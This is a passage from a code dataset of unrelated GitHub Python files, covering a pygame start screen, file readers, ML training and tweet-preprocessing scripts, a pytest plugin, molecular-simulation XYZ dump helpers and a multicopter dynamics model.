= [seed_flag] + flags + constant_flags + algorithm_flags + agent_flags\n            runner.run_command_async(interpreter, all_flags, dest)\n            runner.run_command_async(interpreter, [beta_flag] + all_flags, dest)\n\n    while not runner.is_done():\n        time.sleep(30)\n\n    # Delete the generated gridworld data, since it is quite large\n    # for seed in range(10 * low, 10 * high):\n    #     sp.call('rm datasets/*-seed-{}-*.npz'.format(seed), shell=True)\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--low', required=True)\n    parser.add_argument('--high', required=True)\n    parser.add_argument('-f', '--folder', required=True)\n    parser.add_argument('-g', '--num_gpus', required=True)\n    return parser.parse_args()\n\nif __name__ == '__main__':\n    args = parse_args()\n    low, high, num_gpus = map(int, (args.low, args.high, args.num_gpus))\n    run_benchmarks(low, high, INTERPRETER, FLAGS, CONSTANT_FLAGS, num_gpus, args.folder)\n","repo_name":"HumanCompatibleAI/learning_biases","sub_path":"run_benchmarks.py","file_name":"run_benchmarks.py","file_ext":"py","file_size_in_byte":6977,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"77"}
+{"seq_id":"36410712243","text":"# ===== Inicialização =====\n# ----- Importa e inicia pacotes\nimport pygame\nfrom assets import load_assets\nfrom classes import GalinhaInicio\nfrom constantes import TELA_INICIAL, ANIMACAO, FIM, FPS, BRANCO, PRETO\n\n\n#Define a função que carrega a tela inicial\ndef init_screen(window):\n    #Define o primeiro estado da tela inicial\n    state = TELA_INICIAL\n\n    #Carrega os assets\n    assets = load_assets()\n\n    #Carrega a música da tela inicial\n    pygame.mixer.music.load('assets/sons/background_inicial.wav')\n    pygame.mixer.music.set_volume(0.4)\n\n    #Transforma os assets em variaveis e define os textos que vão ser imprimidos na tela\n    background_inicio = assets['background_inicio']\n    img_galinha = pygame.transform.scale(assets['galinha_img'], (35, 35))\n    font_titulo = assets['font_inicio_titulo']\n    font_texto = assets['font_inicio_texto']\n    nome_jogo = font_titulo.render('FUGA DA GALINHA', False, BRANCO)\n    comando = font_texto.render('APERTE ENTER PARA COMEÇAR', False, PRETO)\n\n    #Cria um objeto da galinha inicial e adiciona a um grupo\n    all_sprites = pygame.sprite.Group()\n    galinha = GalinhaInicio(img_galinha)\n    all_sprites.add(galinha)\n\n    #Variável para o ajuste de velocidade\n    clock = pygame.time.Clock()\n\n    #Loop inicial\n    pygame.mixer.music.play(loops=-1)\n    while state != FIM:\n        # Ajusta a velocidade para o número de FPS\n        clock.tick(FPS)\n\n        # ----- Trata eventos\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                return -1\n            if state == TELA_INICIAL:\n                if event.type == pygame.KEYDOWN:\n                    #Se o jogador apertar espaço inicia a animação da galinha\n                    if event.key == pygame.K_SPACE:\n                        pygame.mixer.music.stop()\n                        assets['som_start'].play()\n                        state = ANIMACAO\n\n\n        # ----- Gera saídas\n\n        #Preenche a tela com o background\n        window.fill(PRETO)\n        window.blit(background_inicio, (0, 0))\n        if state == TELA_INICIAL:\n            window.blit(nome_jogo, (90, 50))\n            window.blit(comando, (58, 260))\n\n        #Se a animação estiver ocorrendo atualiza a posição da sprite\n        if state == ANIMACAO:\n            all_sprites.update()\n\n        #Se a galinha passou do fim da tela sai da tela inicial\n        if galinha.y > 420:\n            state = 1\n            return state\n\n        #Desenha a sprite na tela\n        all_sprites.draw(window)\n\n        # Mostra o novo frame para o jogador\n        pygame.display.update()","repo_name":"lorenabc/pygame-fugadagalinha","sub_path":"carrega_tela_inicial.py","file_name":"carrega_tela_inicial.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26182896454","text":"# -*- coding: utf-8 -*-\n\nimport io\nimport os\nimport pprint\nimport logging as log\n\nfrom queue import Queue\n\npp = pprint.PrettyPrinter(indent=2)\n\n\nclass FileReader(object):\n    def __init__(self):\n        pass\n\n    def readline(self, filename, batch_size, included_header: bool, callback, args=None):\n        assert callback\n\n        with open(filename, 'rb') as fs:\n            if included_header:\n                header = fs.readline()\n\n            bio = io.BytesIO()\n            line_cnt = 0\n            while True:\n                line = fs.readline()\n                if not line:\n                    break\n                bio.write(line)\n                line_cnt += 1\n                if line_cnt % batch_size == 0:\n                    callback(bio.getvalue(), header, filename, *args)\n                    bio = io.BytesIO()\n\n            if bio.getbuffer().nbytes > 0:\n                callback(bio.getvalue(), header, filename, *args)\n\n            return line_cnt, fs.tell()\n\n    def readlines(self, filename, batch_size, mode, included_header: bool, callback):\n        assert callback\n        with open(filename, mode) as fs:\n            if included_header:\n                header = fs.readline()\n\n            bio = io.BytesIO()\n            line_cnt = 0\n            for line in fs.readlines():\n                bio.write(line)\n                line_cnt += 1\n\n                if line_cnt % batch_size == 0:\n                    callback(bio.getvalue(), filename)\n                    bio = io.BytesIO()\n\n            if bio.getbuffer().nbytes > 0:\n                callback(bio.getvalue(), filename)\n\n            return line_cnt, fs.tell()\n\n\ndef file_copy(src_filename: str, dst_filename: str, line_count: int):\n    with open(src_filename, \"rb\") as fs:\n        lines = fs.readlines()\n\n    with open(dst_filename, \"wb\") as fs:\n        if line_count > 0:\n            cnt = 0\n            for line in lines:\n                fs.write(line)\n                cnt += 1\n                if cnt >= line_count:\n                    return\n\n\nif __name__ == '__main__':\n    src_filename = \"G:\\\\DWDB_RAW\\\\ODS\\\\PERIOD\\\\201901\\\\test\\\\OPT_BIS_MSG_BIT_BMS_INFO.31D.E7.001.csv\"\n    src_dir = os.path.dirname(src_filename)\n    src_basename = os.path.basename(src_filename).split('.')[0]\n\n    file_copy(src_filename, os.path.join(src_dir, src_basename + '.test.csv'), 3)\n","repo_name":"etri-city-traffic-brain/traffic-data-mgmt","sub_path":"etri_data_collect_provider/online_and_realtime_loader-dj_etri/base/io/file_reader.py","file_name":"file_reader.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"19148656744","text":"import sys, os\nsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\n\nimport torch\nfrom torch.utils import data\n\nfrom Frontnet.DataProcessor import DataProcessor\nfrom Frontnet.ModelTrainer import ModelTrainer\nfrom Frontnet.Dataset import Dataset\nfrom Frontnet.Frontnet import FrontnetModel\nfrom Frontnet import Utils\n\n\ndef main():\n    args = Utils.ParseArgs()\n\n    trainset_path = args.load_trainset\n    data_params = {'batch_size': args.batch_size, 'shuffle': True, 'num_workers': 6}\n    w, h, c = args.model_params['w'], args.model_params['h'], args.model_params['c']\n\n    out_folder = \"Results/{}x{}\".format(w, c)\n    os.makedirs(out_folder, exist_ok=True)\n\n    Utils.Logger(logfile=os.path.join(out_folder, \"FPTraining.log\"))\n\n    torch.manual_seed(args.seed)\n\n    # Load the training data (which will be split to validation and train)\n    [x_train, x_validation, y_train, y_validation] = DataProcessor.ProcessTrainData(trainset_path)\n\n    # Create the PyTorch data loaders\n    training_set = Dataset(x_train, y_train, train=True)\n    training_generator = data.DataLoader(training_set, **data_params)\n    validation_set = Dataset(x_validation, y_validation, train=False)\n    validation_generator = data.DataLoader(validation_set, **data_params)\n\n    # Choose your model\n    model = FrontnetModel(**args.model_params)\n\n    # Run the training loop\n    trainer = ModelTrainer(model)\n    trainer.folderPath = out_folder\n    trainer.Train(training_generator, validation_generator, args.save_model)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"idsia-robotics/pulp-frontnet","sub_path":"PyTorch/Scripts/FPTraining.py","file_name":"FPTraining.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"77"}
+{"seq_id":"22429405006","text":"import emoji\nimport re\nimport pandas as pd\nimport numpy as np\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\nemoji_list = emoji.UNICODE_EMOJI.keys()\nFLAGS = re.MULTILINE | re.DOTALL\n\ndef preprocess(text):\n    def re_sub(pattern, repl):\n        return re.sub(pattern, repl, text, flags=FLAGS)\n    \n    def allcaps(text):\n        text = text.group()\n        return text.lower() + \" <allcaps>\"\n\n    text = text.replace(\"#\",\"<hashtag> \")\n    \n    no_emoji = ''\n    for char in text:\n        if char not in emoji_list:\n            no_emoji = no_emoji + char\n        else:\n            no_emoji = no_emoji + '<' + emoji.demojize(char) + '> '\n    text = no_emoji\n    \n    text = re_sub(r\"@\\w+\",\"<user>\")\n    text = re_sub(r\"https?:\\/\\/\\S+\\b|www\\.(\\w+\\.)+\\S*\", \"<url>\")\n    text = re_sub(r\"/\",\" / \")\n    text = re_sub(r\"([!?.]){2,}\", r\"\\1 <repeat>\")\n    text = re_sub(r\"\\b(\\S*?)(.)\\2{2,}\\b\", r\"\\1\\2 <elong>\")\n\n    text = re_sub(r\"([A-Z]){2,}\", allcaps)\n    \n    punctuations = '''!()-[]{};:'\"\\,./?@#$%^&*_~0123456789'''\n    \n    no_punct = ''\n    for char in text:\n        if char not in punctuations:\n            no_punct = no_punct + char\n    text = no_punct\n    text = text.replace(\"  \",\" \")\n    text = text.replace(\"\\n\",\" \")\n    return text.lower()\n\ndef preprocessing(filename):#, max_length, vocab_size):\n    data = pd.read_csv(filename)\n    labels = list(data['Annotation'])\n    texts = list(data['Tweets'])\n    for i in range(0, len(texts)):\n        texts[i] = preprocess(texts[i])\n    return texts, labels\n#     train_padded, validation_padded = tokenize(texts, .8, vocab_size, max_length)\n#     training_label, validation_label = label_tokenize(labels, .8)\n#     return train_padded, validation_padded, training_label, validation_label\n","repo_name":"sajal-1999/Hate_Speech_Detection","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"86292032564","text":"import pytest\nimport logging\n\nfrom wooqi.src.plugin_fixtures import test_config_parser, test_sequence_name, test_time\nfrom wooqi.src.plugin_fixtures import wooqi_conf\nfrom wooqi.src.pytest_hooks import pytest_collection_modifyitems, pytest_runtest_makereport\nfrom wooqi.src.pytest_hooks import pytest_report_header, pytest_generate_tests\nfrom wooqi.src.pytest_hooks import pytest_sessionfinish, pytest_unconfigure\nfrom wooqi.src import global_var\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef pytest_addoption(parser):\n    \"\"\"\n    Configuration of pytest parsing\n    \"\"\"\n    group = parser.getgroup('general')\n    group.addoption(\n        \"--seq-config\",\n        default=None,\n        action=\"store\",\n        help=\"Test file config\"\n    )\n    group.addoption(\n        \"--sn\",\n        action=\"store\",\n        default=\"test\",\n        help=\"Sample serial number or name\"\n    )\n    group.addoption(\n        \"--wooqi\",\n        action=\"store_true\",\n        dest='wooqi tag',\n        help=\"wooqi tag to check if the test is runned thanks to wooqi\"\n    )\n\n\n@pytest.fixture(scope=\"session\")\ndef test_config(request, wooqi):\n    \"\"\"\n    Test config\n    \"\"\"\n    return request.config.getoption(\"--seq-config\")\n\n\n@pytest.fixture(scope=\"session\")\ndef serial_number(request, wooqi):\n    \"\"\"\n    Serial number\n    \"\"\"\n    return request.config.getoption(\"--sn\")\n\n\n@pytest.fixture(scope=\"session\")\ndef wooqi(request):\n    \"\"\"\n    Check if the test is runned with wooqi\n    \"\"\"\n    return request.config.getoption(\"--wooqi\")\n\n\n@pytest.fixture()\ndef test_name(request):\n    \"\"\"\n    Return current test name\n    \"\"\"\n    # test_name according in file_config\n    test_name = str(request.node).split(\"'\")[1].split('[')[0]\n    if test_name not in global_var['config'].file_config:\n        call_number = str(request.node).split(\"'\")[1].split('[')[1].split('-')[0].replace(']', '')\n        test_name = '{}-{}'.format(test_name, call_number)\n    return test_name\n\n\n@pytest.fixture()\ndef test_info(request, test_name):\n    \"\"\"\n    Return current test info\n    \"\"\"\n    logger.debug(\"Get {} infos\".format(str(request.node).split(\"'\")[1]))\n    uut = None\n    uut2 = None\n    var = None\n    test_dico = {}\n    test = str(request.node).split(\"'\")[1].split(\"[\")\n    uuts = global_var['config'].uut(test_name)\n    uuts2 = global_var['config'].uut2(test_name)\n    if len(test) > 1:\n        unit = test[1].replace(\"]\", \"\")\n        if uuts is not None:\n            for each in uuts:\n                if each in unit:\n                    var = each\n            try:\n                uut = int(var)\n            except Exception:\n                uut = var\n            test_dico[\"uuts\"] = uuts\n        if uuts2 is not None:\n            for each in uuts2:\n                if each in unit:\n                    var = each\n            try:\n                uut2 = int(var)\n            except Exception:\n                uut2 = var\n\n            test_dico[\"uuts2\"] = uuts2\n    elif uuts is not None:\n        test_dico[\"uuts\"] = uuts\n\n    params = [\"time_test\", \"limit\", \"comparator\", \"misc_data\", \"nb_cycles\"]\n    for param in global_var['config'].file_config[test_name]:\n        if param in params:\n            info = getattr(global_var['config'], param)(test_name, uut, uut2)\n            if info is not None:\n                test_dico[param] = info\n        elif param != \"uut\" and param != \"uut2\":\n            test_dico[param] = global_var['config'].file_config[test_name][param]\n    logger.debug(test_dico)\n    return test_dico\n","repo_name":"aldebaran/wooqi","sub_path":"wooqi/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":3479,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"74744825847","text":"from Day_7_helpers import readInputFile\nfrom Day_7_Classes import Bag, Luggage\n\ndef main():\n    handler = open(\"./input2.txt\")\n    luggage = Luggage()\n    allBags = readInputFile(handler, True) # {bagID:[subbag1, ...]}\n    for rootBag, subBags in allBags.items():\n        # We have a root bag, and potentially some children.\n        # If the root bag doesn't exist, create it and add it to the luggage\n        # If it already exists, then we're good\n        #   UNLESS! It contains our magic bag then we update.\n        newRootBag = Bag(rootBag)\n        if not luggage.contains(newRootBag.ID):\n            luggage.addBag(newRootBag)\n        else:\n            newRootBag = luggage.getBag(rootBag)\n        for subBag,count in subBags: # This is now a touple\n            # First, check if we've hit our magic bag\n            if subBag == \"shiny gold\":\n                luggage.getBag(rootBag).promote() #!\n            # Check if it exists\n            if luggage.contains(subBag):\n                luggage.getBag(subBag).addParent(newRootBag)\n                newRootBag.addChild((luggage.getBag(subBag),count))\n            else:\n                newBag = Bag(subBag)\n                newBag.addParent(newRootBag)\n                newRootBag.addChild((newBag,count))\n                luggage.addBag(newBag)\n    # That's all the same from part 1.\n    # Now we start at the shiny bag and start counting how many bags it has\n    print(luggage.getBag(\"shiny gold\").count()-1) # subtract 1 to not count the bag itself\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"bijanagahi/advent-of-code-2020","sub_path":"Day_7/Day_7_2.py","file_name":"Day_7_2.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73416443130","text":"menu_options = ('1,2,3,4,5,6'.split(','))\ncontacts = {}\n\n\nclass Contact(object):\n    # Constructor\n    def __init__(self, first_name, last_name, phone_number):\n        if len(first_name) < 2:\n            raise ValueError(\"First name must be at least 2 characters long.\")\n\n        if len(last_name) < 2:\n            raise ValueError(\"Last name must be at least 2 characters long.\")\n\n        if len(phone_number) < 5 and phone_number[:].isdigit():\n            raise ValueError(\"Phone number must contains only digits and have at least 5 numbers.\")\n\n        self._first_name = first_name\n        self._last_name = last_name\n        self._phone_number = phone_number\n\n    # Properties\n    def first_name(self):\n        return self._first_name\n\n    def last_name(self):\n        return self._last_name\n\n    def phone_number(self):\n        return self._phone_number\n\n    def print_details(self):\n        print(\"{} - {} - {}\".format(self._first_name, self._last_name, self._phone_number))\n\n\noption = 0\nwhile True:\n    print(\"-\" * 31)\n    option = input(\"Choose option:\" + '\\n'\n                   \"-------------------------------\" + '\\n'\n                   '1. Add contact' + '\\n'\n                   '2. Print Address Book' + '\\n'\n                   '3. Delete contact' + '\\n'\n                   '4. Modify contact' + '\\n'\n                   '5. Search contact' + '\\n'\n                   '6. Quit' + '\\n'\n                   \"-------------------------------\" '\\n>> ')\n    if option == '6':\n        break\n    elif option == '1':\n        print(\"You have choose option 1.\")\n    elif option == '2':\n        print(\"\")\n    elif option == '3':\n        print(\"\")\n    elif option == '4':\n        print(\"\")\n    elif option == '5':\n        print(\"\")\n    else:\n        print(\"Unknown choice!\")\n\n\n\n","repo_name":"lukaszziobro89/python","sub_path":"OOP_python/address_book.py","file_name":"address_book.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26709907741","text":"import espressopp\n\ndef writexyz(filename, system, velocities = True, unfolded = False, append = False):\n    \"\"\"\n    \"\"\"\n    if append:\n        file = open(filename,'a')\n    else:\n        file = open(filename,'w')\n    numParticles  = int(espressopp.analysis.NPart(system).compute())\n    box_x = system.bc.boxL[0]\n    box_y = system.bc.boxL[1]\n    box_z = system.bc.boxL[2]\n    st = \"%d\\n%15.10f %15.10f %15.10f\\n\" % (numParticles, box_x, box_y, box_z)\n    file.write(st)\n    maxParticleID = int(espressopp.analysis.MaxPID(system).compute())\n    pid   = 0\n    while pid <= maxParticleID:\n        if system.storage.particleExists(pid):\n            particle = system.storage.getParticle(pid)\n            if unfolded == False:\n                xpos   = particle.pos[0]\n                ypos   = particle.pos[1]\n                zpos   = particle.pos[2]\n            else:\n                unfoldedpos = system.bc.getUnfoldedPosition(particle.pos, particle.imageBox)\n                xpos   = unfoldedpos[0]\n                ypos   = unfoldedpos[1]\n                zpos   = unfoldedpos[2]\n            xvel   = particle.v[0]\n            yvel   = particle.v[1]\n            zvel   = particle.v[2]\n            type   = particle.type\n            if velocities:\n                st = \"%d %d %15.10f %15.10f %15.10f %15.10f %15.10f %15.10f\\n\"%(pid, type, xpos, ypos, zpos, xvel, yvel, zvel)\n            else:\n                st = \"%d %d %15.10f %15.10f %15.10f\\n\"%(pid, type, xpos, ypos, zpos)\n            file.write(st)\n            pid   += 1\n        else:\n            pid   += 1\n\n    file.close()\n\n\n\"\"\"\ndef fastwritexyz(filename, system, append = False):\n\n  if append:\n    file = open(filename,'a')\n  else:\n    file = open(filename,'w')\n\n  configurations = espressopp.analysis.Configurations(system)\n  configurations.gather()\n  configuration = configurations[0]\n\n  numParticles  = configuration.size\n  box_x = system.bc.boxL[0]\n  box_y = system.bc.boxL[1]\n  box_z = system.bc.boxL[2]\n  st = \"%d\\n%15.10f %15.10f %15.10f\\n\" % (numParticles, box_x, box_y, box_z)\n  file.write(st)\n\n  for pid in configuration:\n    xpos   = configuration[pid][0]\n    ypos   = configuration[pid][1]\n    zpos   = configuration[pid][2]\n    st = \"%d %15.10f %15.10f %15.10f\\n\"%(pid, xpos, ypos, zpos)\n    file.write(st)\n\n  file.close()\n\"\"\"\n\ndef readxyz(filename):\n    \"\"\"\n    \"\"\"\n    file = open(filename)\n    line = file.readline()\n    num_particles = int(line.split()[0])\n    line = file.readline().split()\n    if len(line) == 3:\n        Lx = float(line[0])\n        Ly = float(line[1])\n        Lz = float(line[2])\n    else:\n        Lx = float(line[0])\n        Ly = float(line[4])\n        Lz = float(line[8])\n\n    pid  = []\n    type = []\n    xpos = []\n    ypos = []\n    zpos = []\n    xvel = []\n    yvel = []\n    zvel = []\n    for i in range(num_particles):\n        line = file.readline().split()\n        if len(line) == 7 or len(line)==4:\n            line.insert(1,'0')\n        pid.append(int(line[0]))\n        type.append(int(line[1]))\n        xpos.append(float(line[2]))\n        ypos.append(float(line[3]))\n        zpos.append(float(line[4]))\n        if len(line) > 5:\n            xvel.append(float(line[5]))\n            yvel.append(float(line[6]))\n            zvel.append(float(line[7]))\n        else:\n            xvel.append(0.0)\n            yvel.append(0.0)\n            zvel.append(0.0)\n    return pid, type, xpos, ypos, zpos, xvel, yvel, zvel, Lx, Ly, Lz\n    file.close()\n\n\n\ndef readxyzr(filename):\n    \"\"\"\n    \"\"\"\n\n    file = open(filename)\n    line = file.readline()\n    num_particles = int(line.split()[0])\n    line = file.readline()\n    Lx = float(line.split()[0])\n    Ly = float(line.split()[1])\n    Lz = float(line.split()[2])\n    pid  = []\n    type = []\n    xpos = []\n    ypos = []\n    zpos = []\n    xvel = []\n    yvel = []\n    zvel = []\n    radius = []\n    for i in range(num_particles):\n        line = file.readline().split()\n        if len(line) == 7:\n            line.insert(1,'0')\n        pid.append(int(line[0]))\n        type.append(int(line[1]))\n        xpos.append(float(line[2]))\n        ypos.append(float(line[3]))\n        zpos.append(float(line[4]))\n        if len(line) == 6:\n            radius.append(float(line[5]))\n        else:\n            radius.append(0.0)\n        if len(line) > 5 and len(line) <= 8 and len(line) != 6:\n            xvel.append(float(line[5]))\n            yvel.append(float(line[6]))\n            zvel.append(float(line[7]))\n        else:\n            xvel.append(0.0)\n            yvel.append(0.0)\n            zvel.append(0.0)\n        if len(line) == 9:\n            radius.append(float(line[8]))\n        else:\n            if len(line) != 6:\n                radius.append(0.0)\n    return pid, type, xpos, ypos, zpos, xvel, yvel, zvel, Lx, Ly, Lz, radius\n    file.close()\n\n# Livia's modified writexyz to fastwritexyz with velocities\n\ndef fastwritexyz(filename, system, velocities = True, unfolded = True, append = False, scale=1.0):\n    \"\"\"\n    \"\"\"\n\n    if append:\n        file = open(filename,'a')\n    else:\n        file = open(filename,'w')\n\n    configurations = espressopp.analysis.ConfigurationsExt(system)\n    configurations.unfolded = unfolded\n    configurations.gather()\n    configuration = configurations[0]\n\n    if velocities:\n        velocities = espressopp.analysis.Velocities(system)\n        velocities.gather()\n        velocity = velocities[0]\n\n    numParticles  = int(espressopp.analysis.NPart(system).compute())\n    box_x = system.bc.boxL[0]*scale\n    box_y = system.bc.boxL[1]*scale\n    box_z = system.bc.boxL[2]*scale\n    st = \"%d\\n%15.10f %15.10f %15.10f\\n\" % (numParticles, box_x, box_y, box_z)\n    file.write(st)\n\n    for pid in configuration:\n        xpos   = configuration[pid][0]*scale\n        ypos   = configuration[pid][1]*scale\n        zpos   = configuration[pid][2]*scale\n        if velocities:\n            xvel   = velocity[pid][0]*scale\n            yvel   = velocity[pid][1]*scale\n            zvel   = velocity[pid][2]*scale\n            st = \"%d %15.10f %15.10f %15.10f %15.10f %15.10f %15.10f\\n\"%(pid, xpos, ypos, zpos, xvel, yvel, zvel)\n        else:\n            st = \"%d %15.10f %15.10f %15.10f\\n\"%(pid, xpos, ypos, zpos)\n        file.write(st)\n        #pid   += 1\n\n    file.close()\n\n# Franziska's modified readxyz to fastreadxyz without velocities\ndef fastreadxyz(filename):\n    \"\"\"\n    \"\"\"\n\n    file = open(filename)\n    line = file.readline()\n    num_particles = int(line.split()[0])\n    line = file.readline().split()\n    if len(line) == 3:\n        Lx = float(line[0])\n        Ly = float(line[1])\n        Lz = float(line[2])\n    else:\n        Lx = float(line[0])\n        Ly = float(line[4])\n        Lz = float(line[8])\n\n    pid  = []\n    type = []\n    xpos = []\n    ypos = []\n    zpos = []\n    for i in range(num_particles):\n        line = file.readline().split()\n        if len(line) == 7 or len(line)==4:\n            line.insert(1,'0')\n        pid.append(int(line[0]))\n        type.append(int(line[1]))\n        xpos.append(float(line[2]))\n        ypos.append(float(line[3]))\n        zpos.append(float(line[4]))\n\n    return pid, type, xpos, ypos, zpos, Lx, Ly, Lz\n    file.close()\n\ndef fastwritexyz_standard(filename, system, unfolded = False, append = False):\n    \"\"\"\n    Fast write standard xyz file. Generally standard xyz file is\n\n    >>>  number of particles\n    >>>  comment line\n    >>>  type x y z\n    >>>  ......\n    >>>  ......\n    >>>  ......\n\n    Additional information can be found here:\n    Wiki:  http://en.wikipedia.org/wiki/XYZ_file_format\n    OpenBabel: http://openbabel.org/wiki/XYZ_%28format%29\n\n    In this case one can choose folded or unfolded coordinates.\n    Currently it writes only particle type = 0 and pid is a line number.\n    Later different types should be implemented.\n    \"\"\"\n\n    if append:\n        file = open(filename,'a')\n    else:\n        file = open(filename,'w')\n\n    conf = espressopp.analysis.ConfigurationsExt(system)\n    conf.unfolded = unfolded\n    conf.gather()\n\n    numParticles  = int(espressopp.analysis.NPart(system).compute())\n    box_x = system.bc.boxL[0]\n    box_y = system.bc.boxL[1]\n    box_z = system.bc.boxL[2]\n    st = \"%d\\n%18.12f %18.12f %18.12f\\n\" % (numParticles, box_x, box_y, box_z)\n    file.write(st)\n\n    for pid in conf[0]:\n        xpos   = conf[0][pid][0]\n        ypos   = conf[0][pid][1]\n        zpos   = conf[0][pid][2]\n\n        st = \"%d %15.10f %15.10f %15.10f\\n\"%(0, xpos, ypos, zpos)\n        file.write(st)\n        pid   += 1\n\n    file.close()\n\n\nimport espressopp\nfrom math import sqrt\nfrom espressopp import Real3D\n\ndef xyzfilewrite(filename, system, append=False, atomtypes={0:'Fe',1:'O',2:'C'}, velocities=False, charge=False):\n    \"\"\"\n\n    This method creates a xyz file with the data from a specific system:\n    1. row:         number of the atoms\n    2. row:         REMARK generated by ESPResSo++\n    following rows: atomsymbol positionX positionY positionZ (velocityX velocityY velocityZ) (charge)\n    last row:       END\n\n    The method needs the following parameters:\n\n    * filename\n\n      name of the file where the table schould be saved in\n\n    * system\n\n      ESPResSo system which creates the data e.g.:\n\n      >>> system, integrator = espressopp.standard_system.LennardJones(100,(10,10,10))\n\n    * append\n\n      =False\n        the data in the file will be overwritten\n\n      =True\n        the data will be appended\n\n    * atomtypes\n      the xyz file needs atom symbols, so it has to translate the numbers\n      insert a dictionary with the right translation\n\n    * velocities\n\n      =False\n        does not save the velocity vectors\n\n      =True\n        creates collumns for the velocity vectors and saves the data\n\n    * charge\n\n      =False\n        does not save the charge\n\n      =True\n        creates collumns for the charges and saves the data\n  \"\"\"\n    if append:\n        file = open(filename, 'a')\n    else:\n        file = open(filename,'w')\n    maxParticleID = int(espressopp.analysis.MaxPID(system).compute())\n    pid = 0\n    comment = \"REMARK generated by ESPResSo++\"\n\n    st = \"%d\\n%s\\n\"%(maxParticleID, comment)\n    file.write(st)\n\n    while pid <= maxParticleID:\n        if system.storage.particleExists(pid):\n            particle = system.storage.getParticle(pid)\n\n            xpos = particle.pos[0]\n            ypos = particle.pos[1]\n            zpos = particle.pos[2]\n            type = particle.type\n            vx   = particle.v[0]\n            vy   = particle.v[1]\n            vz   = particle.v[2]\n            q    = particle.q\n\n            if type in atomtypes:\n                atom = atomtypes[type]\n            else:\n                atom = 'XX'\n\n            if velocities == True:\n                if charge == True:\n                    st = \"%s %15.10f %15.10f %15.10f %15.10f %15.10f %15.10f %15.10f\\n\"%(atom, xpos, ypos, zpos, vx, vy, vz, q)\n                else:\n                    st = \"%s %15.10f %15.10f %15.10f %15.10f %15.10f %15.10f\\n\"%(atom, xpos, ypos, zpos, vx, vy, vz)\n            else:\n                if charge == True:\n                    st = \"%s %15.10f %15.10f %15.10f %15.10f\\n\"%(atom, xpos, ypos, zpos, q)\n                else:\n                    st = \"%s %15.10f %15.10f %15.10f\\n\"%(atom, xpos, ypos, zpos)\n\n            file.write(st)\n            pid += 1\n        else:\n            pid += 1\n\n    file.write('END\\n')\n    file.close()\n","repo_name":"espressopp/espressopp","sub_path":"src/tools/DumpConfigurations.py","file_name":"DumpConfigurations.py","file_ext":"py","file_size_in_byte":11308,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"77"}
+{"seq_id":"16920860547","text":"import numpy as np\nfrom numpy.linalg import norm\nfrom fym.core import BaseEnv, BaseSystem\nfrom fym.utils.rot import hat\n\n\ndef cross(x, y):\n    return np.cross(x, y, axis=0)\n\n\nclass Multicopter(BaseEnv):\n    g = 9.81\n    m = 1.00\n    r = 0.24\n    J = np.diag([8.1, 8.1, 14.2]) * 1e-3\n    Jinv = np.linalg.inv(J)\n    b = 5.42e-5\n    d = 1.1e-6\n    Kf = np.diag([5.567, 5.567, 6.354]) * 1e-4\n    Kt = np.diag([5.567, 5.567, 6.354]) * 1e-4\n    rotorf_min = 0\n    rotorf_max = 20\n    e3 = np.vstack((0, 0, 1))\n    nrotors = 4\n    B = np.array([\n        [1, 1, 1, 1],\n        [0, -r, 0, r],\n        [r, 0, -r, 0],\n        [-d / b, d / b, -d / b, d / b],\n    ])\n    Lambda = np.eye(4)\n\n    def __init__(self, pos, vel, R, omega):\n        super().__init__()\n        self.pos = BaseSystem(pos)\n        self.vel = BaseSystem(vel)\n        self.R = BaseSystem(R)\n        self.omega = BaseSystem(omega)\n\n    def deriv(self, pos, vel, R, omega, rotorfs):\n        u = self.B @ rotorfs\n        fT, M = u[:1], u[1:]\n\n        dpos = vel\n        dvel = (\n            (self.m * self.g * self.e3 + R @ (-fT * self.e3) - self.Kf @ vel)\n            / self.m\n        )\n        dR = R @ hat(omega)\n        domega = self.Jinv @ (\n            M - cross(omega, self.J @ omega) - norm(omega) * self.Kt @ omega\n        )\n        return dpos, dvel, dR, domega\n\n    def set_dot(self, t, rotorfs_cmd):\n        pos, vel, R, omega = self.observe_list()\n        rotorfs = self.saturate(t, rotorfs_cmd)\n        dots = self.deriv(pos, vel, R, omega, rotorfs)\n        self.pos.dot, self.vel.dot, self.R.dot, self.omega.dot = dots\n        return dict(rotorfs=rotorfs)\n\n    def saturate(self, t, rotorfs_cmd):\n        rotorfs = np.clip(rotorfs_cmd, self.rotorf_min, self.rotorf_max)\n        return self.Lambda @ rotorfs\n\n\nclass Line(BaseEnv):\n    u_min = -10.\n    u_max = 10.\n    def __init__(self, pos, vel):\n        super().__init__()\n        self.pos = BaseSystem(pos)\n        self.vel = BaseSystem(vel)\n\n    def deriv(self, pos, vel, u):\n        dvel = u\n        dpos = vel\n        return dpos, dvel\n\n    def set_dot(self, t, action):\n        pos, vel = self.observe_list()\n        u = self.saturate(action)\n        dots = self.deriv(pos, vel, u)\n        self.pos.dot, self.vel.dot = dots\n\n    def saturate(self, action):\n        u = np.clip(action, self.u_min, 